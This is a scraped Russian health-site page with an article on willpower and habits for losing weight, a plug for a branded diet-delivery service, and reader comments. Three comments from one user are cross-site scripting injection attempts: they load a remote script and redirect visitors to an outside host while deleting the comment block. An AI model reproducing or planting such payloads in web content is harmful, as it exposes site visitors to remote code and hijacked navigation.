Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Сколько воли нужно, чтобы...  >>  Сколько воли нужно, чтобы похудеть?
 
Обратная связь
 

Сколько воли нужно, чтобы похудеть?

Размер шрифта
12 декабря 2014 00:00
  • google_analytics: false
  • Нравится

Сила воли позволяет нам устоять перед вкусной и калорийной едой и худеть. Однако на одной только силе воли далеко не уедешь, утверждают специалисты. Почему?

Мотивация к похудению со временем угасает, и килограммы возвращаются обратно. Чтобы успешно расстаться с лишними килограммами, нужно превратить здоровое питание в привычку. Как?

Пересмотрите ценности

Чтобы научить себя питаться правильно на всю оставшуюся жизнь, вам нужно пересмотреть свое отношение к еде и похудению. В идеале со временем вы станете менее зависимым от еды. Ваша цель – избавиться от нездоровых перекусов и уменьшить размеры порций.

С глаз долой

Устоять перед вредной едой непросто, поэтому наиболее эффективный способ не сорваться – просто не покупать ее. Если кто-то из домашних не придерживается здорового питания, старайтесь, чтобы его продукты не попадались вам на глаза.

В кругу зеленых друзей

Старайтесь, чтобы в вашем доме в большом разнообразии были здоровые продукты, которые не нужно долго готовить. Положите их в холодильник, на полки, в чулан, чтобы они чаще попадались вам на глаза. Например, окружите себя помытыми овощами и фруктами.

Никаких голоданий

Не оставляйте себя без еды слишком надолго. 4-5 часов без перекусов приводят к сильному голоду и последующему перееданию. В то же время старайтесь проводить больше времени вдали от мест, где вы можете поесть. Хотите узнать больше о том, как успешно похудеть? Читайте наш специальный проект «Сбрось лишнее».

Если вы хотите начать реально худеть уже сейчас, то специально для вас создана Диета Елены Малышевой. Уже готовая и правильная еда будет доставлена вам в любое место и время. Вам останется только есть и худеть!

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - his shadow

14 декабря 2014 в 12:35

Цитировать   |   Пожаловаться

Диету Елены Малышевой в непросвещённые масы.
Они ведь не станут читать её состав.
А напрасно.

2 - Violensa

19 декабря 2014 в 13:20

Комментарий удален за нарушение Правил общения

3 - Гость

19 декабря 2014 в 23:10

Цитировать   |   Пожаловаться

А как можно приобрести эту диету если я из  республики Беларусь?  

4 - Pety1236

21 декабря 2014 в 15:24

Комментарий удален за нарушение Правил общения

5 - zzzzzz

30 июня 2015 в 18:28

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

6 - zzzzzz

30 июня 2015 в 21:26

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

7 - zzzzzz

30 июня 2015 в 22:23

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

8 - Гость

07 мая 2016 в 00:32

Цитировать   |   Пожаловаться

Эта Диета только по России рассылается?

Статьи

       
Суперпродукты для похудения   Диета, чтобы не сойти с ума   5 неожиданных причин, почему вы толстеете   Ерзай на здоровье  
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 21 мая 2013Когда я ем – я глух и нем! Ученые доказали, что это поможет похудеть!
 
05 июля 2013Вы не виноваты в своем лишнем весе! Еда всего лишь одна из причин ожирения! Какая же главная? 31 мая 2013От инфаркта не убежать, но можно уйти! Новые данные говорят о том, что ходьба также эффективна, как бег, в борьбе с лишним весом!
 

Слайдшоу

1
Супереда для быстрого похудения
От чего вам придется отказаться, чтобы похудеть?
Как похудеть суперзанятым женщинам?

Тесты

1
Есть ли у вас избыточный вес?
Правильно ли вы худеете?
Какое мороженное съесть, чтобы похудеть
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.